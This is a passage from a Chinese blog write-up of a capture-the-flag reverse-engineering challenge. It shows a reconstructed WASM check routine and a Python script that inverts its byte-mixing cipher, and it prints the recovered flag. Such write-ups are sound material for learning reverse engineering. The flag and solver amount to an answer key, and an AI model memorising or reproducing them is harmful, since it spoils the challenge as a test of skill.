            v25 = enc[2*(m + j)]
            v23 = dic[seed[m] // 16]
            i |= (v25 != v23)

            v18 = enc[2*(m + j) + 1]
            i |= v18 != dic[seed[m] % 16]

        j += 8
        result = i
    return result

key = "114!514!"
enc = "d0cbc764d6a45cb05eeeb47940d25543b876b5b94314031aa8eb756081cc8718"

flag = input()
print(check(flag, key, enc))

dic这个字母表是我动调从浏览器里拿到的, 当时还没看出来, 后面才发现是小端在前16进制的一个字母表.

读懂加密程序后直接反着来就行了:

def re_do_sth(arr, a, b, c, d):
    arr[a] ^= (arr[b] + arr[d])
    arr[a] &= 0xFF
    
    arr[b] ^= (arr[c] + arr[d]) 
    arr[b] &= 0xFF
    
    arr[c] ^= (arr[a] + arr[b])
    arr[c] &= 0xFF
    
    arr[d] ^= (arr[a] + arr[c])
    arr[d] &= 0xFF

key = "114!514!"
enc = "d0cbc764d6a45cb05eeeb47940d25543b876b5b94314031aa8eb756081cc8718"
dic = '0123456789abcdef'
seeds = []
for j in range(4):
    seed = []
    for i in range(j*16, (j+1)*16 - 1, 2):
        seed.append(dic.index(enc[i]) * 16 + dic.index(enc[i+1]))
    seeds.append(seed)

flag = ''
ss = []
for s in seeds:
    seed = s
    n = 0
    while n < 114:
        re_do_sth(seed, 2, 3, 6, 7)
        re_do_sth(seed, 0, 1, 4, 5)
        re_do_sth(seed, 4, 5, 6, 7)
        re_do_sth(seed, 0, 1, 2, 3)
        n += 1
    
    # print(s)

    flag = ''
    k = 0
    while k < 8:    
        flag += chr(ord(key[k]) ^ s[k] & 0xFF)
        k += 1
    print(flag, end='')

运行获得flag:

image

这肯定不是最好的方法, 但是当时我不会用jeb, 所以用了这种笨方法, 但是逆向程序是正确的.

cnss{Y0u_Kn0w_W4SM_n0w!!W0oo0ow}

posted @ 2022-08-30 14:05  Tim厉  阅读(1047)  评论(3编辑  收藏  举报